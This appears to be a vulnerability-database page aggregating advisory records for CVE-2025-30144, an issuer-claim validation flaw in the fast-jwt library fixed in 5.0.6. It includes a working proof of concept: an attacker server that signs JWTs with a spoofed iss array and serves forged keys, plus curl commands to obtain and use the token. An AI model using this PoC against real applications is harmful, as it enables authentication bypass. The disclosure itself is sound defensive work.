cvelistv5 - CVE-2025-30144

CVE-2025-30144 (GCVE-0-2025-30144)

Vulnerability from cvelistv5 – Published: 2025-03-19 15:41 – Updated: 2025-03-19 18:29

Title

Fast-JWT Improperly Validates iss Claims

Summary

fast-jwt provides fast JSON Web Token (JWT) implementation. Prior to 5.0.6, the fast-jwt library does not properly validate the iss claim based on the RFC 7519. The iss (issuer) claim validation within the fast-jwt library permits an array of strings as a valid iss value. This design flaw enables a potential attack where a malicious actor crafts a JWT with an iss claim structured as ['https://attacker-domain/', 'https://valid-iss']. Due to the permissive validation, the JWT will be deemed valid. Furthermore, if the application relies on external libraries like get-jwks that do not independently validate the iss claim, the attacker can leverage this vulnerability to forge a JWT that will be accepted by the victim application. Essentially, the attacker can insert their own domain into the iss array, alongside the legitimate issuer, and bypass the intended security checks. This issue is fixed in 5.0.6.

Severity ?

6.5 (Medium)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N

CWE

CWE-345 - Insufficient Verification of Data Authenticity
CWE-290 - Authentication Bypass by Spoofing

Assigner

GitHub_M

References

URL

Tags

	https://github.com/nearform/fast-jwt/security/adv…	x_refsource_CONFIRM
	https://github.com/nearform/fast-jwt/commit/cc26b…	x_refsource_MISC
	https://datatracker.ietf.org/doc/html/rfc7519#page-9	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	nearform	fast-jwt	Affected: < 5.0.6

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2025-30144

Vulnerability from fkie_nvd - Published: 2025-03-19 16:15 - Updated: 2025-03-19 16:15

Severity ?

6.5 (Medium) - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://datatracker.ietf.org/doc/html/rfc7519#page-9
	security-advisories@github.com	https://github.com/nearform/fast-jwt/commit/cc26b1d473f900446ad846f8f0b10eb1c0adcbdd
	security-advisories@github.com	https://github.com/nearform/fast-jwt/security/advisories/GHSA-gm45-q3v2-6cf8

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "fast-jwt provides fast JSON Web Token (JWT) implementation. Prior to 5.0.6, the fast-jwt library does not properly validate the iss claim based on the RFC 7519. The iss (issuer) claim validation within the fast-jwt library permits an array of strings as a valid iss value. This design flaw enables a potential attack where a malicious actor crafts a JWT with an iss claim structured as [\u0027https://attacker-domain/\u0027, \u0027https://valid-iss\u0027]. Due to the permissive validation, the JWT will be deemed valid. Furthermore, if the application relies on external libraries like get-jwks that do not independently validate the iss claim, the attacker can leverage this vulnerability to forge a JWT that will be accepted by the victim application. Essentially, the attacker can insert their own domain into the iss array, alongside the legitimate issuer, and bypass the intended security checks. This issue is fixed in 5.0.6."
    },
    {
      "lang": "es",
      "value": "fast-jwt proporciona una implementaci\u00f3n r\u00e1pida de JSON Web Token (JWT). Antes de la versi\u00f3n 5.0.6, la librer\u00eda fast-jwt no validaba correctamente la declaraci\u00f3n iss seg\u00fan el RFC 7519. La validaci\u00f3n de la declaraci\u00f3n iss (emisor) dentro de la librer\u00eda fast-jwt permite una matriz de cadenas como valor iss v\u00e1lido. Esta falla de dise\u00f1o permite un posible ataque donde un actor malicioso manipula un JWT con una declaraci\u00f3n iss estructurada como [\u0027https://attacker-domain/\u0027, \u0027https://valid-iss\u0027]. Debido a la validaci\u00f3n permisiva, el JWT se considerar\u00e1 v\u00e1lido. Adem\u00e1s, si la aplicaci\u00f3n utiliza librer\u00edas externas como get-jwks, que no validan de forma independiente la declaraci\u00f3n iss, el atacante puede aprovechar esta vulnerabilidad para falsificar un JWT que sea aceptado por la aplicaci\u00f3n v\u00edctima. En esencia, el atacante puede insertar su propio dominio en la matriz iss, junto con el emisor leg\u00edtimo, y eludir las comprobaciones de seguridad previstas. Este problema se solucion\u00f3 en la versi\u00f3n 5.0.6."
    }
  ],
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GHSA-GM45-Q3V2-6CF8

Vulnerability from github – Published: 2025-03-19 15:48 – Updated: 2025-03-20 18:58

Summary

Fast-JWT Improperly Validates iss Claims

Details

Summary

The fast-jwt library does not properly validate the iss claim based on the RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.

Details

The iss (issuer) claim validation within the fast-jwt library permits an array of strings as a valid iss value. This design flaw enables a potential attack where a malicious actor crafts a JWT with an iss claim structured as ['https://attacker-domain/', 'https://valid-iss']. Due to the permissive validation, the JWT will be deemed valid.

Furthermore, if the application relies on external libraries like get-jwks that do not independently validate the iss claim, the attacker can leverage this vulnerability to forge a JWT that will be accepted by the victim application. Essentially, the attacker can insert their own domain into the iss array, alongside the legitimate issuer, and bypass the intended security checks.

PoC

Take a server running the following code:

const express = require('express')
const buildJwks = require('get-jwks')
const { createVerifier } = require('fast-jwt')

const jwks = buildJwks({ providerDiscovery: true });
const keyFetcher = async (jwt) =>
    jwks.getPublicKey({
        kid: jwt.header.kid,
        alg: jwt.header.alg,
        domain: jwt.payload.iss
    });


const jwtVerifier = createVerifier({
    key: keyFetcher,
    allowedIss: 'https://valid-iss',
});

const app = express();
const port = 3000;

app.use(express.json());


async function verifyToken(req, res, next) {
  const headerAuth = req.headers.authorization.split(' ')
  let token = '';
  if (headerAuth.length > 1) {
    token = headerAuth[1];
  }

  const payload = await jwtVerifier(token);

  req.decoded = payload;
  next();
}

// Endpoint to check if you are auth or not
app.get('/auth', verifyToken, (req, res) => {
  res.json(req.decoded);
});

app.listen(port, () => {
  console.log(`Server is running on port ${port}`);
});

Now we build a server that will be used to generate the JWT token and send the verification keys to the victim server:

const { generateKeyPairSync } = require('crypto');
const express = require('express');
const pem2jwk = require('pem2jwk');
const jwt = require('jsonwebtoken');

const app = express();
const port = 3001;
const host = `http://localhost:${port}/`;

const { publicKey, privateKey } = generateKeyPairSync("rsa", 
    {   modulusLength: 4096,
        publicKeyEncoding: { type: 'pkcs1', format: 'pem' },
        privateKeyEncoding: { type: 'pkcs1', format: 'pem' },
    },
); 
const jwk = pem2jwk(publicKey);

app.use(express.json());

// Endpoint to create token
app.post('/create-token', (req, res) => {
  const token = jwt.sign({ ...req.body, iss: [host, 'https://valid-iss'],  }, privateKey, { algorithm: 'RS256' });
  res.send(token);
});

app.get('/.well-known/jwks.json', (req, res) => {
    return res.json({
        keys: [{
            ...jwk,
            alg: 'RS256',
            use: 'sig',
        }]
    });
})

app.all('*', (req, res) => {
    return res.json({
        "issuer": host,
        "jwks_uri": host + '.well-known/jwks.json'
    });
});

app.listen(port, () => {
  console.log(`Server is running on port ${port}`);
});

export TOKEN=$(curl -X POST http://localhost:3001/create-token -H "Content-Type: application/json" -d '{"name": "test"}')
curl -X GET http://localhost:3000/auth -H "Authorization: Bearer $TOKEN"

Impact

Applications relaying on the validation of the iss claim by fast-jwt allows attackers to sign arbitrary payloads which will be accepted by the verifier.

Solution

Change https://github.com/nearform/fast-jwt/blob/d2b0ccb103848917848390f96f06acee339a7a19/src/verifier.js#L475 to a validator tha accepts only string for the value as stated in the RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.

Severity ?

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N

Show details on source website

JSON

To clipboard

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        "ecosystem": "npm",
        "name": "fast-jwt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
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              "fixed": "5.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-30144"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-19T15:48:43Z",
    "nvd_published_at": "2025-03-19T16:15:33Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe `fast-jwt` library does not properly validate the `iss` claim based on the RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.\n\n#### Details\nThe `iss` (issuer) claim validation within the fast-jwt library permits an array of strings as a valid `iss` value. This design flaw enables a potential attack where a malicious actor crafts a JWT with an `iss` claim structured as `[\u0027https://attacker-domain/\u0027, \u0027https://valid-iss\u0027]`. Due to the permissive validation, the JWT will be deemed valid.\n\nFurthermore, if the application relies on external libraries like `get-jwks` that do not independently validate the `iss` claim, the attacker can leverage this vulnerability to forge a JWT that will be accepted by the victim application. Essentially, the attacker can insert their own domain into the `iss` array, alongside the legitimate issuer, and bypass the intended security checks.\n\n#### PoC\nTake a server running the following code:\n\n```js\nconst express = require(\u0027express\u0027)\nconst buildJwks = require(\u0027get-jwks\u0027)\nconst { createVerifier } = require(\u0027fast-jwt\u0027)\n\nconst jwks = buildJwks({ providerDiscovery: true });\nconst keyFetcher = async (jwt) =\u003e\n    jwks.getPublicKey({\n        kid: jwt.header.kid,\n        alg: jwt.header.alg,\n        domain: jwt.payload.iss\n    });\n\n\nconst jwtVerifier = createVerifier({\n    key: keyFetcher,\n    allowedIss: \u0027https://valid-iss\u0027,\n});\n\nconst app = express();\nconst port = 3000;\n\napp.use(express.json());\n\n\nasync function verifyToken(req, res, next) {\n  const headerAuth = req.headers.authorization.split(\u0027 \u0027)\n  let token = \u0027\u0027;\n  if (headerAuth.length \u003e 1) {\n    token = headerAuth[1];\n  }\n\n  const payload = await jwtVerifier(token);\n\n  req.decoded = payload;\n  next();\n}\n\n// Endpoint to check if you are auth or not\napp.get(\u0027/auth\u0027, verifyToken, (req, res) =\u003e {\n  res.json(req.decoded);\n});\n\napp.listen(port, () =\u003e {\n  console.log(`Server is running on port ${port}`);\n});\n```\n\nNow we build a server that will be used to generate the JWT token and send the verification keys to the victim server:\n\n```js\nconst { generateKeyPairSync } = require(\u0027crypto\u0027);\nconst express = require(\u0027express\u0027);\nconst pem2jwk = require(\u0027pem2jwk\u0027);\nconst jwt = require(\u0027jsonwebtoken\u0027);\n\nconst app = express();\nconst port = 3001;\nconst host = `http://localhost:${port}/`;\n\nconst { publicKey, privateKey } = generateKeyPairSync(\"rsa\", \n    {   modulusLength: 4096,\n        publicKeyEncoding: { type: \u0027pkcs1\u0027, format: \u0027pem\u0027 },\n        privateKeyEncoding: { type: \u0027pkcs1\u0027, format: \u0027pem\u0027 },\n    },\n); \nconst jwk = pem2jwk(publicKey);\n\napp.use(express.json());\n\n// Endpoint to create token\napp.post(\u0027/create-token\u0027, (req, res) =\u003e {\n  const token = jwt.sign({ ...req.body, iss: [host, \u0027https://valid-iss\u0027],  }, privateKey, { algorithm: \u0027RS256\u0027 });\n  res.send(token);\n});\n\napp.get(\u0027/.well-known/jwks.json\u0027, (req, res) =\u003e {\n    return res.json({\n        keys: [{\n            ...jwk,\n            alg: \u0027RS256\u0027,\n            use: \u0027sig\u0027,\n        }]\n    });\n})\n\napp.all(\u0027*\u0027, (req, res) =\u003e {\n    return res.json({\n        \"issuer\": host,\n        \"jwks_uri\": host + \u0027.well-known/jwks.json\u0027\n    });\n});\n\napp.listen(port, () =\u003e {\n  console.log(`Server is running on port ${port}`);\n});\n```\n\n\n```bash\nexport TOKEN=$(curl -X POST http://localhost:3001/create-token -H \"Content-Type: application/json\" -d \u0027{\"name\": \"test\"}\u0027)\ncurl -X GET http://localhost:3000/auth -H \"Authorization: Bearer $TOKEN\"\n```\n\n#### Impact\nApplications relaying on the validation of the `iss` claim by fast-jwt allows attackers to sign arbitrary payloads which will be accepted by the verifier.\n\n#### Solution\nChange https://github.com/nearform/fast-jwt/blob/d2b0ccb103848917848390f96f06acee339a7a19/src/verifier.js#L475 to a validator tha accepts only string for the value as stated in the RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.",
  "id": "GHSA-gm45-q3v2-6cf8",
  "modified": "2025-03-20T18:58:42Z",
  "published": "2025-03-19T15:48:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nearform/fast-jwt/security/advisories/GHSA-gm45-q3v2-6cf8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30144"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nearform/fast-jwt/commit/cc26b1d473f900446ad846f8f0b10eb1c0adcbdd"
    },
    {
      "type": "WEB",
      "url": "https://datatracker.ietf.org/doc/html/rfc7519#page-9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nearform/fast-jwt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Fast-JWT Improperly Validates iss Claims"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2025-30144 (GCVE-0-2025-30144)

FKIE_CVE-2025-30144

GHSA-GM45-Q3V2-6CF8

Summary

Details

PoC

Impact

Solution

Tags

Sightings

Nomenclature